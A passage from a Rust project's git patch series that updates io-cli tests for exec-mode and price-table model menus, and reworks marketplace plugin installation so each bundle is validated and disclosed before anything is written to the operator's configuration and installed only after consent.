(`sandbox.rs:379`), so a variant added -/// later falls into a required wildcard and cannot break this build. What is -/// assertable is that every spelling comes from `ExecMode::as_str` and that -/// io-harness accepts each one. +/// The literal that follows pins the words in force, so a rename is caught here; +/// the scope loop then proves io-harness accepts every one of them. #[test] fn f2_the_exec_modes_are_spelled_by_the_dependency() { let modes = configure::exec_modes(); + assert_eq!( + modes, + io_harness::ExecMode::ALL + .iter() + .map(|mode| mode.as_str().to_string()) + .collect::>(), + "the menu must be the dependency's enumeration, not io-cli's copy of it" + ); assert_eq!(modes, vec!["read-only", "workspace-write", "full-access"]); // **In the user scope, because `Config::from_toml` parses as the PROJECT // scope and `full-access` is refused there.** io-harness's `PROJECT_WIDENING` @@ -706,12 +746,8 @@ fn f2_the_exec_modes_are_spelled_by_the_dependency() { "io-harness refuses the mode io-cli offers: {mode}" ); } - // Every spelling is the variant's own, never io-cli's. - for mode in [ - io_harness::ExecMode::ReadOnly, - io_harness::ExecMode::WorkspaceWrite, - io_harness::ExecMode::FullAccess, - ] { + // Every variant has a row, and its spelling is the variant's own. + for mode in io_harness::ExecMode::ALL { assert!( modes.contains(&mode.as_str().to_string()), "{} is a variant with no row", @@ -818,11 +854,7 @@ fn f2_a_widening_value_is_legal_in_one_scope_and_refused_in_another() { /// quietly missing an option nobody can detect. #[test] fn f2_a_known_mode_is_labelled_by_its_own_name() { - for mode in [ - io_harness::ExecMode::ReadOnly, - io_harness::ExecMode::WorkspaceWrite, - io_harness::ExecMode::FullAccess, - ] { + for mode in io_harness::ExecMode::ALL { assert_eq!(configure::exec_mode_label(mode), mode.as_str()); } } @@ -898,14 +930,18 @@ fn f4_the_ladder_is_ordered_from_the_value_in_force() { /// A key with no value in any file ladders from 1. /// -/// The audit's finding, not a corner case: there is no per-key io-harness default -/// to anchor on for *any* number key, so this is the ordinary state. An empty -/// picker was the alternative and a surface whose argument is that a value is -/// chosen cannot offer nothing. +/// Not a corner case, the ordinary state: `configure::ladder` is handed a number +/// and a sign and never a key, so there is no per-key anchor for it to apply. An +/// empty picker was the alternative, and a surface whose argument is that a value +/// is chosen cannot offer nothing. /// -/// Sabotage: offer an anchor row for `run.max_steps`. Under it F4 fails, because -/// `TaskContract::new` says 8 and `TaskContract::workspace` says 12 and neither is -/// "the default". +/// Sabotage: anchor this on `io_harness::DEFAULT_WORKSPACE_MAX_STEPS` for +/// `run.max_steps`. Under it F4 fails, and it *should*: io-harness names that +/// default (12), but `contract::configured` overwrites it with +/// `contract::MAX_STEPS` before the configuration is applied +/// (`src/contract.rs:210`), so a picker anchored on 12 would show a figure no +/// io-cli turn has ever run under. The number in force for an unset +/// `run.max_steps` is a thousand. #[test] fn f4_an_unset_key_ladders_from_one() { let rungs = configure::ladder(None, false); @@ -929,3 +965,114 @@ fn f4_a_signed_key_reaches_below_zero() { fn f4_zero_is_a_rung() { assert!(configure::ladder(Some(1), false).contains(&0)); } + +// F18 — the model menu is answered by `PriceTable::models`, not scraped. + +/// A user scope spelling its rates as a sub-table per model. +/// +/// `prices::Shape::SubTables` — legal TOML that io-harness reads perfectly well, +/// and the shape an operator writing rates by hand is most likely to reach for. +const SUB_TABLE_USER: &str = r#" +[prices] +as_of = "2026-08-29" + +[prices.models."some-vendor/alpha"] +input = 1000000 +output = 2000000 +"#; + +/// A project scope spelling the same section as a row per model. +/// +/// `prices::Shape::Table` — what io-cli's own price refresh writes. +const ROW_TABLE_PROJECT: &str = r#" +[prices] +as_of = "2026-08-29" + +[prices.models] +"some-vendor/zeta" = { input = 3000000, output = 4000000 } +"#; + +/// The models offered are the ones the merged table can actually price, in both +/// spellings of the section and across scopes. +/// +/// **The user scope is what proves the change, and it was a live defect.** Until +/// 0.30.0 `priced_models` scraped the files for a literal `[prices.models]` +/// header, so a scope written as `[prices.models.""]` matched nothing and +/// contributed no models — the `Kind::Model` picker came up empty on a price table +/// io-harness was reading perfectly well, and an operator had no way to see why. +/// Undo the change and `some-vendor/alpha` disappears from this list while the +/// fixture still parses. +/// +/// The project scope is written the other way on purpose, so this also covers the +/// spelling the scrape did handle and the key-by-key merge across scopes that +/// `Config::discover` performs. Sorted, because the table keys models in a +/// `BTreeMap` and `alpha` precedes `zeta` whatever order the scopes are read in. +#[test] +fn f18_the_offered_models_are_the_ones_the_table_prices() { + let s = scopes(SUB_TABLE_USER, ROW_TABLE_PROJECT, ""); + assert_eq!( + s.priced_models(), + vec!["some-vendor/alpha", "some-vendor/zeta"] + ); +} + +/// A model priced by tiers alone is not offered, because it cannot be priced. +/// +/// **`PriceTable::models`'s own contract, inherited rather than re-implemented.** +/// `PriceTier`s are keyed separately from base prices and `cost_micros` answers +/// `None` for a model that has only tiers, so a menu listing one would promise a +/// cost the table cannot produce. `configure::priced_models` gets this right by +/// asking the table instead of knowing about tiers at all. +/// +/// **The tier is added to the table rather than to a fixture file because +/// io-harness's `[prices]` section cannot express one** — `PricesSection` is +/// `as_of` plus `models` under `deny_unknown_fields`, so a scope file that tried +/// would be refused outright and this would be testing the parser instead. What +/// ties the exclusion back to the surface is the last assertion: the offered list +/// is exactly the models of the table `priced_models` reads, so whatever that +/// table excludes the menu excludes. +#[test] +fn f18_a_model_priced_by_tiers_alone_is_not_offered() { + let s = scopes(SUB_TABLE_USER, ROW_TABLE_PROJECT, ""); + let table = s.config().prices().expect("a [prices] section"); + let with_tier = table.clone().with_tiers( + "some-vendor/tiers-only", + vec![PriceTier { + min_prompt_tokens: 200_000, + price: Price::ZERO, + }], + ); + assert!( + !with_tier.models().contains(&"some-vendor/tiers-only"), + "a model with tiers and no base price cannot be priced and must not be offered" + ); + assert_eq!( + with_tier.models(), + table.models(), + "a tier adds no model the table can price, so it adds no row to the menu" + ); + assert_eq!( + s.priced_models(), + table + .models() + .iter() + .map(|model| (*model).to_string()) + .collect::>(), + "the menu must be exactly what the table prices" + ); +} + +/// A workspace with no `[prices]` offers nothing rather than guessing. +/// +/// **And never reaches the network to fill the gap.** The caller says so and +/// offers the refresh row instead; a settings screen that fetched a catalogue to +/// draw a menu would be spending an operator's money to render a list. +#[test] +fn f18_a_workspace_with_no_prices_offers_no_models() { + let s = scopes("[run]\nmax_steps = 10\n", "", ""); + assert!( + s.config().prices().is_none(), + "the fixture must have no price table for this to be the case it claims" + ); + assert!(s.priced_models().is_empty()); +} From 41fae58f32fe7cf41882c79af13a531dc09816d5 Mon Sep 17 00:00:00 2001 From: aakashpawar1999 Date: Sat, 29 Aug 2026 22:24:49 +0530 Subject: [PATCH 04/17] =?UTF-8?q?chore(develop):=20Replace=20the=20write-t?= =?UTF-8?q?hen-rediscover=20disclosure=20with=20`Plug=E2=80=A6?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Task: US-IO-CLI-0.30.0-T03 --- src/commands.rs | 15 +- src/main.rs | 364 ++++++++++------------- src/manage.rs | 78 +++-- src/marketplace.rs | 311 ++++++++------------ src/pluginview.rs | 229 +++++++++------ tests/marketplace.rs | 665 ++++++++++++++++++++++++++++--------------- 6 files changed, 925 insertions(+), 737 deletions(-) diff --git a/src/commands.rs b/src/commands.rs index d72baee..f146a79 100644 --- a/src/commands.rs +++ b/src/commands.rs @@ -1222,13 +1222,14 @@ pub enum Action { /// List the capability bundles a `[[plugin]]` entry declared: what each one /// contributed, and what each dropped bundle failed on. /// - /// **What can honestly be shown is bounded by what io-harness makes public, - /// and the surface says so rather than implying more.** A bundle's agents, - /// MCP servers and policy layers are all readable and are listed by the names - /// io-harness namespaced them to. Its **hooks are not**: there is no - /// `Plugin::hooks()` and `Hook` is `pub(crate)`, so the word `hooks` from - /// `Plugin::contributions()` is the entire signal available — the bundle - /// declared some, and io-cli cannot say how many or what they run. + /// **Every fact shown is io-harness's own, and since 0.71.0 that includes the + /// hooks.** A bundle's agents, MCP servers and policy layers are listed by the + /// names io-harness namespaced them to, and its hooks — the contribution kind + /// that runs programs — are listed one row each, naming the event and the + /// argv, off `Plugin::hooks()` and `Hook`'s accessors. Through 0.29.0 there + /// was no such accessor and this pane could only draw the word `hooks` from + /// `Plugin::contributions()`, which told an operator that a bundle spawned + /// something and nothing about what. /// /// A dropped bundle carries io-harness's own sentence, re-worded by nobody. /// That matters most for the one an operator will actually hit: a bundle diff --git a/src/main.rs b/src/main.rs index 6ac99cc..d45ee49 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1858,47 +1858,40 @@ async fn loop_over Result>( // `index`, for `Pick::PluginRemove`'s reason: the outer // `index` is the row that was chosen and the entry's own // position in the file is a different number entirely. - Pick::PluginEnable { - id, - scope, - index: at, - } => { + Pick::PluginInstall { id, scope, edits } => { if io_cli::store::acts(index) { - // **One key.** `pluginview::enable` is an - // `Edit::set` on `plugin[at].enabled`, so the path - // this entry declares, every sibling entry and - // every unrelated section come through byte for - // byte — see `src/edit.rs`, which replaces a - // value's own span and copies the rest. - match io_cli::configure::write( - session.root(), - *scope, - &[io_cli::pluginview::enable(*at)], - ) { + // **The write happens here and nowhere earlier.** + // `edits` is `manage::plan`'s own single + // `pluginview::add`, so the entry lands switched + // on, in one append, and every unrelated section + // comes through byte for byte — see `src/edit.rs`, + // which splices a span and copies the rest. + match io_cli::configure::write(session.root(), *scope, edits) { Ok(()) => app.record( Tone::Success, format!( - "{id} is switched on; what it contributes is in \ + "{id} is installed; what it contributes is in \ `/plugin`, and it is in force from the next turn", ), ), Err(refusal) => app.record(Tone::Refused, refusal), } } else { - // **Declined leaves it declared, off and visible**, - // and saying so is the whole difference between a - // decline and a bundle that quietly went away. The - // entry is not removed: `/plugin` lists it under - // `pluginview::DISABLED_MARK` with what switching - // it on would bring, which is the one edit an - // operator can undo in a keystroke if they can see - // it. + // **Declining leaves the operator's file untouched**, + // which is new in 0.30.0 and is the point of the + // change. 0.29.0 had to write the entry switched off + // before io-harness would read the bundle at all, so + // a decline left a `[[plugin]]` behind and the honest + // sentence was "declared and switched off". + // `Plugins::inspect` validates a directory with + // nothing on disk naming it, so there is now nothing + // to leave behind and nothing to undo. app.record( Tone::Muted, format!( - "{id} is left declared and switched off — nothing of it \ - is in this session; `/plugin` lists it, and switching it \ - on there is one keystroke", + "{id} was not installed — nothing was written, and the \ + clone is still under `/plugin marketplace` if you want \ + to look at it again", ), ); } @@ -2037,18 +2030,18 @@ async fn loop_over Result>( // A bundle is several *lists* — its agents, its // servers, its policy layers — and a sentence // holding three lists is a sentence nobody reads. - // The hooks by name where the manifest is still - // readable, and `pluginview`'s honest placeholder - // where it is not — `hooks` answers an empty - // slice for a directory it cannot open, which is - // the same fact the placeholder states. Read - // here rather than in `pluginview`, which opens - // no manifest by rule. + // The hooks come off the `Plugin` io-harness + // parsed, carried on `Listed` by `copy_out`. + // Until io-harness 0.71.0 this line read the + // manifest again through `marketplace::hooks`, + // because `Plugin` had an accessor for every + // contribution kind except the one that runs + // programs; io-harness#223 closed that and the + // second reader is gone. let mut rows = io_cli::pluginview::detail( plugin, screen.width(), &app.theme.glyphs, - &io_cli::marketplace::hooks(&plugin.root), ); // **The action's index is taken before the row is // pushed, never worked out afterwards.** Every @@ -3906,6 +3899,66 @@ async fn loop_over Result>( } }, Ok((_, None)) => {} + // **A plan carrying a disclosure has not been written, and + // this arm exists so that it cannot be.** `manage::plan` + // fills `disclosure` for exactly one request — `plugin add + // ` resolved out of a marketplace — by running + // `io_harness::Plugins::inspect` over the clone, so + // io-harness has already read, parsed, validated and + // trust-checked the bundle with no declaration existing + // anywhere on disk. A bundle it refuses never reaches this + // arm at all: `plan` returns `Err` and builds no `Plan`, + // which makes "nothing is written for a bundle that would be + // refused" a property of the library rather than of this + // driver remembering to check. + // + // Guarded rather than nested inside the arm below, so the + // write path keeps exactly the shape it had. + Ok((_, Some(plan))) if plan.disclosure.is_some() => { + let disclosure = plan + .disclosure + .as_ref() + .expect("the guard on this arm just tested it"); + app.record( + Tone::Muted, + format!( + "{} is not installed. This is what io-harness parsed out of \ + it, and nothing has been written to your configuration:", + disclosure.id, + ), + ); + // `record` and never `say`: the footer is one slot the + // next keystroke takes back, and this is the thing the + // operator is answering about. + for line in disclosure.said(&app.theme.glyphs) { + app.record(Tone::Muted, line); + } + picker = Some(( + Picker::new( + format!("Install {}?", disclosure.id), + vec![ + Row::new(io_cli::store::LEAVE_IT.to_string()), + Row::with_detail( + "install it".to_string(), + format!( + "appends one `[[plugin]]` entry to the {} file \ + and changes no other byte of it", + io_cli::configure::Decided::File { + scope: plan.scope, + path: Default::default(), + } + .word() + ), + ), + ], + ), + Pick::PluginInstall { + id: disclosure.id.clone(), + scope: plan.scope, + edits: plan.edits.clone(), + }, + )); + } Ok((request, Some(plan))) => { match io_cli::configure::write(&root, plan.scope, &plan.edits) { Err(refusal) => app.record(Tone::Refused, refusal), @@ -3919,128 +3972,29 @@ async fn loop_over Result>( } Err(error) => app.record(Tone::Error, error), } - // **The entry that was just appended, read - // back out of the file rather than re-decided - // here.** `pluginview::declared_off` answers - // `Some` only for a last `[[plugin]]` carrying - // `enabled = false`, which is what - // `manage::plan` writes for a bundle resolved - // out of a marketplace and never for a - // directory the operator typed. So the driver - // asks no second time which reading the word - // had: `marketplace::chosen` decided that once, - // in the library, and this is its result. - let disclosing = matches!( - &request, - io_cli::manage::Request::Plugin( - io_cli::manage::PluginVerb::Add { .. } - ) - ) - .then(|| io_cli::configure::scope_path(&root, plan.scope)) - .flatten() - .and_then(|path| std::fs::read_to_string(path).ok()) - .and_then(|text| io_cli::pluginview::declared_off(&text)); - - match &disclosing { - // **Not "in force from the next turn".** A - // bundle written switched off is in force - // from no turn at all, and this is the - // sentence an operator would read as - // "installed". - Some(_) => app.record( - Tone::Warning, - io_cli::pluginview::OLDER_BINARY, - ), - None => app.record( - Tone::Success, - format!( - "written to the {} file, in force from the next \ - turn", - io_cli::configure::Decided::File { - scope: plan.scope, - path: Default::default(), - } - .word() - ), - ), - } - if let Some((at, declared)) = disclosing { - // A `[[plugin]] path` is relative to the - // discovery root, which is - // `pluginview::declared_at`'s own rule. - let dir = if declared.is_absolute() { - declared - } else { - root.join(declared) - }; - let hooks = io_cli::marketplace::hooks(&dir); - match io_cli::marketplace::disclosure( - &io_cli::pluginview::view(&config), - &dir, - &hooks, - screen.width(), - &app.theme.glyphs, - ) { - // **Refused at re-discovery, before - // consent, in io-harness's own - // sentence.** Nothing is offered to - // switch on, because nothing would - // load — and the entry is left - // declared and off, where `/plugin` - // lists it under its own mark. - Err(refusal) => { - app.record(Tone::Refused, refusal); - } - Ok(disclosure) => { - app.record( - Tone::Muted, - format!( - "{} is declared and switched off; \ - io-harness read, parsed and trust-checked \ - it, and it contributes nothing until it \ - is switched on", - disclosure.id, - ), - ); - // `record` and never `say`: the - // footer is one slot the next - // keystroke takes back, and this - // is what the operator is - // answering about. - for line in &disclosure.said { - app.record(Tone::Muted, line.clone()); - } - picker = Some(( - Picker::new( - format!("Switch on {}?", disclosure.id), - vec![ - Row::new( - io_cli::store::LEAVE_IT.to_string(), - ), - Row::with_detail( - "switch it on".to_string(), - format!( - "sets `plugin[{at}].enabled = \ - true` in the {} file and \ - changes no other byte of it", - io_cli::configure::Decided::File { - scope: plan.scope, - path: Default::default(), - } - .word() - ), - ), - ], - ), - Pick::PluginEnable { - id: disclosure.id, - scope: plan.scope, - index: at, - }, - )); + // **Every plan that reaches this arm is one the + // operator has already consented to**, either + // by typing the command that produced it or by + // choosing "install it" on the arm above, which + // is where a marketplace bundle's write happens + // now. There is no longer a second reading to + // recover here: 0.29.0 read the file back with + // `pluginview::declared_off` to find out whether + // the entry it had just appended was one it had + // written switched off, and that whole round trip + // existed only because io-harness published no + // way to validate a bundle without declaring it. + app.record( + Tone::Success, + format!( + "written to the {} file, in force from the next turn", + io_cli::configure::Decided::File { + scope: plan.scope, + path: Default::default(), } - } - } + .word() + ), + ); // **The preflight after the write, never // instead of it.** A server the policy will // refuse is still written — the report is a @@ -7815,13 +7769,17 @@ enum Pick { /// confirmation past index 0 acts (`store::acts`) and a fact drawn as a row is /// a fact an operator can consent with by arrowing onto it. /// - /// `index` is a position in the file's `[[plugin]]` array — `pluginview::enable` - /// sets exactly `plugin[index].enabled` — and never a row number, which is - /// [`Pick::PluginRemove`]'s own warning. - PluginEnable { + /// `edits` is the whole of what consent performs — `manage::plan` built it and + /// nothing here decides any part of it again. **Nothing has been written when + /// this picker opens**, which is the difference from 0.29.0: that release wrote + /// the entry switched off in order to make io-harness read the bundle at all, + /// so declining left a `[[plugin]]` entry behind. `Plugins::inspect` reads and + /// validates the directory with no declaration on disk, so a decline here + /// leaves the operator's file untouched byte for byte. + PluginInstall { id: String, scope: io_harness::config::Scope, - index: usize, + edits: Vec, }, /// The second half of removing a bundle: which entry, and are you sure. /// @@ -8032,6 +7990,36 @@ fn manage_main( let Some(plan) = io_cli::manage::plan(root, &request)? else { return Ok(io_cli::exec::OK); }; + // **The disclosure comes before the write on this door too, and the typed + // command is the consent.** `manage::plan` fills `disclosure` only for a + // `plugin add ` resolved out of a marketplace, and it fills it from + // `io_harness::Plugins::inspect` — so a bundle io-harness refuses returned `Err` + // from `plan` above and nothing reached this line. + // + // What an operator gets here is therefore the same six contribution kinds the + // session shows, on stderr, before anything is written; and then the install + // happens, because they named this bundle in the command they typed. A `--yes` + // was considered and refused for the reason it was refused in 0.29.0: it is a + // second reading of the word "consent" on a surface a script drives. The + // alternative — disclose and write nothing — was rejected because it leaves + // `io plugin add` unable to install anything at all, which is not a door. + // + // ASCII and `u16::MAX`: this goes down a pipe, not onto a terminal whose width + // and font are known. + if let Some(disclosure) = &plan.disclosure { + eprintln!( + "{} — io-harness read, parsed and trust-checked this bundle. It contributes:", + disclosure.id, + ); + for line in disclosure.said(&io_cli::glyphs::ASCII) { + eprintln!("{line}"); + } + eprintln!( + "installing it now: naming a bundle on this door is the consent, and there is \ + nobody here to ask. `/plugin remove {}` takes it back out.", + disclosure.id, + ); + } io_cli::configure::write(root, plan.scope, &plan.edits)?; // **The policy preflight, after the write and on stderr.** After, because the // report is a disclosure and not a veto: refusing to write an entry because @@ -8045,56 +8033,6 @@ fn manage_main( io_cli::preflight::line(&io_cli::preflight::check(server, &policy)) ); } - // **A marketplace install stops at declared-and-off on this door, and says - // so.** The entry is written `enabled = false` by the same `plan` the session - // uses, and the consent that flips it is a confirmation — which this door does - // not have and must not invent: a `--yes` here would be a second reading of the - // word "consent" on a surface a script drives. So the disclosure goes to - // stderr, exactly as the MCP preflight does and for the same reason (the write - // did happen, so the status is zero), and the operator switches it on in - // `/plugin`. An operator who has read the directory themselves has the path - // form, which is the reading that declares a bundle on. - if matches!( - &request, - io_cli::manage::Request::Plugin(io_cli::manage::PluginVerb::Add { .. }) - ) { - if let Some((at, declared)) = io_cli::configure::scope_path(root, plan.scope) - .and_then(|path| std::fs::read_to_string(path).ok()) - .and_then(|text| io_cli::pluginview::declared_off(&text)) - { - eprintln!("{}", io_cli::pluginview::OLDER_BINARY); - let dir = if declared.is_absolute() { - declared - } else { - root.join(declared) - }; - let fresh = io_harness::config::Config::discover(root) - .map_err(|error| format!("the written file did not re-read: {error}"))?; - match io_cli::marketplace::disclosure( - &io_cli::pluginview::view(&fresh), - &dir, - &io_cli::marketplace::hooks(&dir), - // Wide enough that nothing is shortened, and the ASCII set, - // because this goes down a pipe rather than onto a terminal - // whose width and font are known. - u16::MAX, - &io_cli::glyphs::ASCII, - ) { - Err(refusal) => eprintln!("{refusal}"), - Ok(disclosure) => { - eprintln!( - "{} is declared and switched off; io-harness read, parsed and \ - trust-checked it, and it contributes nothing until `plugin[{at}].enabled` \ - is true", - disclosure.id, - ); - for line in &disclosure.said { - eprintln!("{line}"); - } - } - } - } - } Ok(io_cli::exec::OK) } @@ -8274,7 +8212,7 @@ fn value_rows( .map(|rung| rung.to_string()) .collect() } - io_cli::configure::Kind::Model => io_cli::configure::priced_models(root), + io_cli::configure::Kind::Model => io_cli::configure::priced_models(config), io_cli::configure::Kind::File => { // The workspace, through the completion the composer's `@` already // opens, so one reader answers "which files may be offered" for both diff --git a/src/manage.rs b/src/manage.rs index d81166f..1cd3428 100644 --- a/src/manage.rs +++ b/src/manage.rs @@ -207,6 +207,22 @@ pub struct Plan { pub scope: Scope, /// What to write, applied together or not at all. pub edits: Vec, + /// What the operator has to be shown **before** [`crate::configure::write`] + /// is called, and consent to. + /// + /// `Some` for exactly one request: `plugin add ` resolved out of a + /// marketplace, which is a stranger's directory nobody on this machine has + /// read. It is already the whole answer — [`plan`] got it from + /// [`crate::marketplace::disclosure`], which is `io_harness::Plugins::inspect` + /// — so a driver holding it has nothing left to decide and no second reading + /// to get wrong. + /// + /// **A door that ignores it writes an unconsented entry**, which is why it is + /// a field on the `Plan` rather than a second call the driver has to remember: + /// the edits and the disclosure that earns them travel together. A bundle + /// io-harness would refuse never reaches here at all — `plan` answers `Err` + /// with io-harness's own sentence and there is no `Plan` to write. + pub disclosure: Option, } /// The tokens of a slash line, as a shell would have handed them to `io`. @@ -492,12 +508,21 @@ fn judged(text: &str) -> Result { /// /// **Every write is one of the edits this crate already had**, and that is the /// constraint rather than an observation: `servers::add`, `servers::edit`, -/// `servers::remove`, `pluginview::add`, `pluginview::add_off`, -/// `pluginview::remove`, `Edit::set` and +/// `servers::remove`, `pluginview::add`, `pluginview::remove`, `Edit::set` and /// `Edit::unset` are what the interactive surfaces write through, and a second /// path assembled here would be a second set of bytes to keep equal — which is /// the defect the whole module is arranged against. /// +/// **`Err` is also how a bundle is refused before anything is written.** A +/// `plugin add ` resolved out of a marketplace runs +/// `io_harness::Plugins::inspect` here, so a manifest io-harness would drop — a +/// bad id, a `[[hook]]` in a committed file, a `${env:}` substitution — ends the +/// request with io-harness's own sentence and no `Plan` at all. Neither door can +/// therefore write first and find out afterwards, which is what both of them did +/// through 0.29.0. What a bundle it *accepts* would bring rides on +/// [`Plan::disclosure`], for the door to show and get consent for before it calls +/// [`crate::configure::write`]. +/// /// The scope of a change to something that **already exists** is not the /// operator's to choose: it is the file that declares it, found by /// [`crate::servers::declared_in`] and [`crate::pluginview::declared_at`]. A @@ -526,6 +551,7 @@ pub fn plan(root: &Path, request: &Request) -> Result, String> { Request::Mcp(McpVerb::Add { server, scope }) => Plan { scope: *scope, edits: vec![crate::servers::add(server)], + disclosure: None, }, Request::Mcp(McpVerb::Edit { id, key, value }) => { let at = declared_server(root, id)?; @@ -543,6 +569,7 @@ pub fn plan(root: &Path, request: &Request) -> Result, String> { Plan { scope: at.scope, edits: vec![edit], + disclosure: None, } } Request::Mcp(McpVerb::Remove { id }) => { @@ -550,6 +577,7 @@ pub fn plan(root: &Path, request: &Request) -> Result, String> { Plan { scope: at.scope, edits: vec![crate::servers::remove(&at)], + disclosure: None, } } Request::Plugin(PluginVerb::Add { path, scope }) => { @@ -569,23 +597,36 @@ pub fn plan(root: &Path, request: &Request) -> Result, String> { &path.display().to_string(), )?; let written = crate::pluginview::declared(root, chosen.dir()); + // **Which reading won decides whether anything is disclosed, and that + // is the whole of the rule.** A directory the operator typed is + // declared without ceremony, which is what `/plugin add ./bundles/x` + // has done since 0.28.0 and is not a thing to second-guess. A bundle + // resolved out of a marketplace is a stranger's code nobody here has + // read, so io-harness reads, parses, validates and trust-checks it + // **now** — `Plugins::inspect`, 0.71.0 — and a refusal is this + // function's `Err`, in io-harness's own sentence, with the operator's + // configuration file never opened. + // + // `Chosen::discloses` is the one place that question is answered, and + // the scope handed to `inspect` is the scope this `Plan` is about to + // be written into: a `[[hook]]` is the bundle's own business in a + // user-scope file and is refused whole in a committed one, and an + // install that inspected at the wrong scope would disclose a bundle + // that then dropped, or refuse one that would have loaded. + let disclosure = chosen + .discloses() + .then(|| crate::marketplace::disclosure(*scope, chosen.dir())) + .transpose()?; Plan { scope: *scope, - // **Which reading won decides which entry is written, and that is - // the whole of the disclosure rule.** A directory the operator - // typed is declared on, which is what `/plugin add ./bundles/x` - // has done since 0.28.0 and is not a thing to second-guess. A - // bundle resolved out of a marketplace is a stranger's code no one - // here has read, and it is declared `enabled = false` so that - // io-harness reads, parses, validates and trust-checks it — the - // only way it can, since it publishes no loader that takes a - // directory — before a single contribution reaches a turn. - // `Chosen::discloses` is the one place that question is answered. - edits: vec![if chosen.discloses() { - crate::pluginview::add_off(&written) - } else { - crate::pluginview::add(&written) - }], + // One entry, switched on, written once. Through 0.29.0 a + // marketplace bundle was written `enabled = false` first and + // switched on afterwards, because declaring it was the only way to + // have io-harness read it at all; `inspect` has replaced that + // round trip, so there is no longer an entry in the file that the + // operator has not agreed to. See `pluginview::add_off`. + edits: vec![crate::pluginview::add(&written)], + disclosure, } } Request::Plugin(PluginVerb::Remove { path }) => { @@ -600,11 +641,13 @@ pub fn plan(root: &Path, request: &Request) -> Result, String> { Plan { scope, edits: vec![crate::pluginview::remove(index)], + disclosure: None, } } Request::Config(ConfigVerb::Set { key, value, scope }) => Plan { scope: decided_scope(root, key, *scope), edits: vec![Edit::set(key.clone(), value.clone())], + disclosure: None, }, Request::Config(ConfigVerb::Unset { key, scope }) => Plan { scope: decided_scope(root, key, *scope), @@ -615,6 +658,7 @@ pub fn plan(root: &Path, request: &Request) -> Result, String> { // for a key whose name happens to be a section's, delete the // operator's entire block. See `Edit::unset`. edits: vec![Edit::unset(key.clone())], + disclosure: None, }, // **A marketplace verb plans no write, and it is here beside the reads // rather than given a shape of its own.** `add` and `remove` are not diff --git a/src/marketplace.rs b/src/marketplace.rs index ad8a020..072b612 100644 --- a/src/marketplace.rs +++ b/src/marketplace.rs @@ -44,7 +44,11 @@ //! the same trust class. TOML permits raw newlines inside a `"""` string, so a //! `description` can otherwise put forged extra lines on the very surface an //! operator reads to decide whose code to install. `plain` is that filter and -//! every value out of a manifest passes through it, the hook commands included. +//! every value out of a manifest passes through it. `plain` is `pub(crate)` for +//! exactly one reason: a hook's argv reaches the consent surface through +//! io-harness's accessors now rather than through this module, and it is the same +//! trust class — so [`crate::pluginview`] filters it with this function rather +//! than growing a second one that drifts from it. //! //! **A manifest that does not name itself is still a bundle.** io-harness would //! refuse to load it, and that refusal is io-harness's to make when somebody @@ -73,52 +77,55 @@ //! Nothing here writes: [`chosen`] answers with a directory and the entry is //! written by [`crate::pluginview`], the edits `/plugin add` already had. //! -//! # A marketplace install discloses before it enables, and io-harness does the reading +//! # A marketplace install discloses before it writes, and io-harness does the reading //! //! A bundle out of a marketplace is a directory **nobody on this machine has //! read**, and it contributes to six subsystems at once. Every other bundle io-cli //! declares came from a directory the operator typed the path of; this one came //! from a stranger's repository, and [`Chosen`] is where the two part. //! -//! io-harness 0.70.0 publishes no loader that takes a directory — `load_one` is -//! private and `Plugins::load` is `pub(crate)` — so the *only* public way to have -//! it read, parse, validate and trust-check a bundle is to declare it in a -//! configuration file. The install therefore writes the entry with -//! `enabled = false` ([`crate::pluginview::add_off`]), re-discovers, and renders -//! what comes back on [`io_harness::Plugins::disabled`] through the -//! [`io_harness::Plugin`] accessors, all of which are valid on a switched-off -//! bundle. That is [`disclosure`], and the names in it are already namespaced — -//! `rust-review__reviewer` — which is the whole reason it must come from io-harness -//! rather than from the manifest: the manifest says `reviewer`, and `reviewer` is a -//! name the operator will never see again. +//! io-harness 0.71.0 publishes [`io_harness::Plugins::inspect`], which is +//! `load_one` — the loader `Config::plugins` itself runs — reached without a +//! `[[plugin]]` entry. So the install reads the directory **first**: every check +//! runs, every name is namespaced, and [`disclosure`] renders the returned +//! [`io_harness::Plugin`] through the same accessors `/plugin`'s own pane uses. +//! The names in it are already `rust-review__reviewer`, which is the whole reason +//! the reading must be io-harness's rather than the manifest's: the manifest says +//! `reviewer`, and `reviewer` is a name the operator will never see again. //! -//! **A bundle io-harness refuses is refused at that point, before consent.** It -//! lands in `Plugins::dropped` and therefore in -//! [`crate::pluginview::View::refused`], and [`disclosure`] answers `Err` with -//! io-harness's own sentence. Nothing is offered to switch on, because there is -//! nothing that would load. +//! **Nothing is written until the operator consents, and that is what 0.30.0 +//! changed.** Through 0.29.0 there was no loader taking a directory, so the only +//! way to have a stranger's bundle validated was to declare it — the install wrote +//! the entry `enabled = false`, re-discovered, and disclosed off the result. A +//! bundle io-harness refused therefore left an entry behind in a file the operator +//! had agreed to nothing about. Now `inspect` answers with the file untouched, and +//! the write is [`crate::pluginview::add`], once, after consent. Declining writes +//! no byte at all. //! -//! **So a marketplace install goes to user scope.** io-harness's -//! `refuse_executing_contributions` rejects a `Scope::Project` bundle carrying any -//! `[[hook]]` or `[[mcp]]` and the refusal takes the whole bundle — which is -//! already `manage`'s default for a new entry, and is a reason not to change it. +//! **A bundle io-harness refuses is refused before anything is written**, in +//! io-harness's own sentence — the string that would otherwise have landed on +//! `Plugins::dropped`. Nothing is offered to switch on, because there is nothing +//! that would load. A `${env:}`, `${file:}` or `${cmd:}` substitution inside a +//! manifest is one of those refusals in **every** scope from 0.71.0: a manifest is +//! the one file here nobody has agreed to, and resolving one would read this +//! machine's environment or its files, or run a program on it, for a directory +//! still under consideration. //! -//! Consent is [`crate::pluginview::enable`], one `set` on that entry's own -//! `enabled` key. Declining leaves the entry exactly as it is: declared, off, and -//! listed by `/plugin` under its own mark. +//! **So a marketplace install goes to user scope**, and [`disclosure`] is told +//! which scope it is: io-harness's `refuse_executing_contributions` rejects a +//! `Scope::Project` bundle carrying any `[[hook]]` or `[[mcp]]` and the refusal +//! takes the whole bundle. That is already `manage`'s default for a new entry, and +//! is a reason not to change it — and the asymmetry is exactly the fact an install +//! owes an operator before it writes. //! -//! # The hooks are read here, and only to be shown +//! # The hooks are io-harness's too //! -//! io-harness exposes no accessor for a bundle's hooks (io-harness#223), so -//! `contributions()` reports the word `hooks` and nothing else — and a bundle's -//! hooks are the contribution that **runs programs**. Consenting on that word is -//! consenting to argv nobody named. [`hooks`] reads the 